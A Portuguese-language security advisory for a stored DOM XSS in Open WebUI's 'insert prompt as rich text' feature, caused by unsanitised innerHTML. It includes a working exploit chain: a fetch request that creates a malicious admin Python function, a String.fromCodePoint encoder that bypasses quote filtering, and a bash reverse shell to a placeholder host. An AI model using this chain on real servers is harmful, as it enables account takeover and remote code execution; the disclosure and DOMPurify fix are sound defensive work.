
Open WebUI vulnerável a Stored DOM XSS via prompts quando 'Insert Prompt as Rich Text' está ativado resultando em ATO/RCE
Open WebUI vulnerável a XSS DOM armazenado via prompts quando 'Inserir Prompt como Texto Rico' está ativado, resultando em ATO/RCE

A funcionalidade que insere prompts personalizados na janela de chat é vulnerável a XSS DOM quando 'Inserir Prompt como Texto Rico' está ativado, pois o corpo do prompt é atribuído ao sink DOM .innerHtml sem sanitização. Qualquer utilizador com permissões para criar prompts pode abusar disso para plantar um payload que pode ser acionado por outros utilizadores se eles executarem o comando / correspondente para inserir o prompt.
A linha afetada é
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerável
HTML controlado pelo utilizador proveniente do corpo do prompt é atribuído a tempDiv.innerHTML sem sanitização (significativa). marked.parse introduz algumas limitações de caracteres, mas não sanitiza o conteúdo, conforme declarado no seu README.
Crie um prompt personalizado da seguinte forma:

Através das definições, certifique-se de que 'Inserir Prompt como Texto Rico' está ativado:

Execute o comando /poc através de uma janela de chat.

Observe que o alerta é acionado.

Como os administradores podem naturalmente executar código Python arbitrário no servidor através da funcionalidade 'Funções', este XSS poderia ser usado para forçar qualquer administrador que o acione a executar uma dessas funções com código Python escolhido pelo atacante.
Isto pode ser conseguido fazendo-os executar o seguinte pedido fetch:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
Isto não pode ser feito diretamente porque a chamada marked.parse, através da qual o HTML é passado, neutralizará payloads contendo aspas.

Para contornar isto, as strings devem ser construídas manualmente a partir dos seus valores decimais usando String.fromCodePoint. O seguinte script Python automatiza a geração de um payload viável a partir de JavaScript fornecido:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
Um administrador que acione o payload correspondente através de um comando de prompt fará com que uma função Python seja executada, executando um payload de reverse shell, dando ao atacante acesso à linha de comandos no servidor.

Qualquer utilizador que execute o prompt malicioso pode ter a sua conta comprometida através de JavaScript malicioso que lê o seu token de sessão do localstorage e o exfiltra para um servidor controlado pelo atacante.
Os utilizadores administradores que executam o prompt malicioso correm o risco de expor o servidor backend a execução remota de código (RCE), uma vez que o JavaScript malicioso que é executado através da vulnerabilidade pode ser usado para enviar pedidos como o utilizador administrador, que executam funções Python maliciosas, que podem executar comandos do sistema operativo.
Utilizadores com privilégios baixos não podem criar prompts por defeito; é necessária a permissão USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS, que pode ser atribuída através, por exemplo, de um grupo personalizado. Ver: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
Um utilizador vítima que execute o comando para acionar o prompt precisa de ter a definição 'Inserir Prompt como Texto Rico' ativada nas preferências para que a vulnerabilidade seja acionada. A definição está desativada por defeito. Os utilizadores com esta definição desativada não são afetados.
Sanitize o HTML controlado pelo utilizador com DOMPurify antes de o atribuir a .innerHtml